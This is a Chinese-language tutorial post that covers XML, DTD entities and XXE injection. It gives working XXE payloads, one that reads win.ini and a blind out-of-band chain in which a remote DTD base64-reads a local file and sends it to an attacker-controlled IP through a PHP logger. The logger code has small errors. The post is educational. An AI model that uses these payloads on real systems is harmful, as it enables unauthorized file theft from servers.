XXE原理到利用
时间:2020-01-18
本文章向大家介绍XXE原理到利用,主要包括XXE原理到利用使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
XML文件格式及作用
copy至:https://www.runoob.com/xml/xml-tutorial.html
学习xxe为什么要了解XML和DTD,直接跳至Xxe查看;
定义&作用:
XML 指可扩展标记语言(eXtensible Markup Language)。
XML 被设计用来传输和存储数据。
格式:
<?xml version="1.0" encoding="ISO-8859-1"?> //声明
<note> //根元素
<to>**Tove**</to> //子元素
<from>**Jani**</from>
<heading>**Reminder**</heading>
<body>**Don't forget me this weekend!**</body>
</note>
DTD
定义&作用:
文档类定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部:
<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note [ //DTD声明定义
<!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
外部:
<!DOCTYPE root-element SYSTEM "filename">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> //DTD外部链接
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
外部文件内容:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD通用实体
定义&作用
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
内部实体
语法
<!ENTITY entity-name "entity-value">
实例
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML 实例引用DTD:
<author>&writer;©right;</author>
//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
外部实体
语法
<!ENTITY entity-name SYSTEM "URI/URL">
实例
DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML 实例引用DTD:
<author>&writer;©right;</author>
完整的DTD例子
copy自: http://www.vervet.com/
<!DOCTYPE CATALOG [
<!ENTITY AUTHOR "John Doe">
<!ENTITY COMPANY "JD Power Tools, Inc.">
<!ENTITY EMAIL "jd@jd-tools.com">
<!ELEMENT CATALOG (PRODUCT+)>
<!ELEMENT PRODUCT
(SPECIFICATIONS+,OPTIONS?,PRICE+,NOTES?)>
<!ATTLIST PRODUCT
NAME CDATA #IMPLIED
CATEGORY (HandTool|Table|Shop-Professional) "HandTool"
PARTNUM CDATA #IMPLIED
PLANT (Pittsburgh|Milwaukee|Chicago) "Chicago"
INVENTORY (InStock|Backordered|Discontinued) "InStock">
<!ELEMENT SPECIFICATIONS (#PCDATA)>
<!ATTLIST SPECIFICATIONS
WEIGHT CDATA #IMPLIED
POWER CDATA #IMPLIED>
<!ELEMENT OPTIONS (#PCDATA)>
<!ATTLIST OPTIONS
FINISH (Metal|Polished|Matte) "Matte"
ADAPTER (Included|Optional|NotApplicable) "Included"
CASE (HardShell|Soft|NotApplicable) "HardShell">
<!ELEMENT PRICE (#PCDATA)>
<!ATTLIST PRICE
MSRP CDATA #IMPLIED
WHOLESALE CDATA #IMPLIED
STREET CDATA #IMPLIED
SHIPPING CDATA #IMPLIED>
<!ELEMENT NOTES (#PCDATA)>
]>
DTD参数实体
- 使用
% 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名;
引用 - 只有在 DTD 文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
Xxe
原理
XML External Entity (XXE) Processing是 XML 外部实体注入;
我们可以控制的点就是上面的DTD实体(包括通用实体和参数实体),外部实体类似于一个XML的包含,我们可以包含我们想要的东西;
如果您的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么您很有可能会遭到XXE的攻击。
XXE能做什么
- 读文件
- 扫描端口
- 命令执行
Payload
有回显
<?xml version="1.0"?>
<!DOCTYPE p0laris [ //p0laris随便写
<!ENTITY test SYSTEM "file:///c:/windows/win.ini"> //test内部实体名称随便写,file后面接的你要读取的文件
]>
<xxx>&test</xxx> //xxx标签名字要使用数据包中的原生标签,&test引用
无回显_Blind XXE,需目标主动发送数据到服务器
VPS部署:
- test.php
<?php
$ipd = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";
if($ipd){
$a = empty($_GET['a'])? "" : $_GET['a'];
$t = empty($_SERVER['HTTP_REFERER'])? "" : $_SERVER['HTTP>REFERER'];
$txt = htmlspecialchars($ipd."--".$a."--".$_SERVER['REQUEST_URI']."--".$t."\r\n");
$n = fopen("test.txt","a+");
# $x = fwrite($n,$txt);
}
- test.txt : 用来接收上面php发过来的参数;
- test.dtd
<!ENTITY % pe2 SYSTEM "php://filter/read=convert.base64-encode/resource=C:/1.txt">
<!ENTITY % pe1 "<!ENTITY ge1 SYSTEM 'http://175.24.2.43/test.php?i=%pe2;'>">
%pe1;
- 发送的payload:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % pe3 SYSTEM "http://x.x.x.x/test.dtd">
%pe3;
]>
<aa>&ge1;</aa>
- 过程,先调用pe3,到服务器获取test.dtd文件,调用pe1,调用pe2,读取本地文件,访问test.php带着pe2作为参数发送给服务器,test.php解析后写入test.txt;
原文地址:https://www.cnblogs.com/p0laris/p/12209581.html
- 厚土Go学习笔记 | 38. goroutine轻量级线程
- 厚土Go学习笔记 | 37. 图片(image)生成器
- 编写地道的Go代码
- 开发你不能忽略的问题?JavaScript(JS)
- 厚土Go学习笔记 | 36. web服务指定路径下的get参数接收与处理
- 用R进行文本分析初探——包含导入词库和和导入李白语句
- Golang事务模型
- 厚土Go学习笔记 | 35. web服务器实现动态路径
- 过滤器Filter精华知识点,怎能不看
- JavaMail开发示例,学习要看对资料
- 厚土Go学习笔记 | 34. 一个简单的 web 服务器实现
- sqlplus / as sysdba无法登录的奇怪报错 (r8笔记第36天)
- JSP与EL表达式重点学习笔记(1)
- R语言读CSV、txt文件方式以及read.table read.csv 和readr(大数据读取包)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 安装ubuntu时黑屏的解决办法(3种)
- linux输入yum后提示: -bash: /usr/bin/yum: No such file or directory的解决方法
- 分布式锁,三种实现方式,性能对比分析!
- Linux 中锁定和解锁用户帐户的三种方法
- centos8 安装 nginx的详细教程(图文)
- Ubuntu系统日志配置 /var/log/messages的方法
- 在Ubuntu 14 上安装 Nginx-RTMP 流媒体服务器的教程
- centos8自定义目录安装nginx(教程详解)
- VMware下Centos7桥接方式网络配置步骤详解
- Linux CentOS 6.5 卸载、tar安装MySQL的教程
- Linux CentOS 6.5 ifconfig查询不到ip的解决方法
- 打卡群2刷题总结1009——二叉树的中序遍历
- 解决Ubuntu 18.04安装VMwareTools错误问题
- 对linux下syslogd以及syslog.conf文件的解读说明
- Linux下安装tomcat并部署网站(推荐)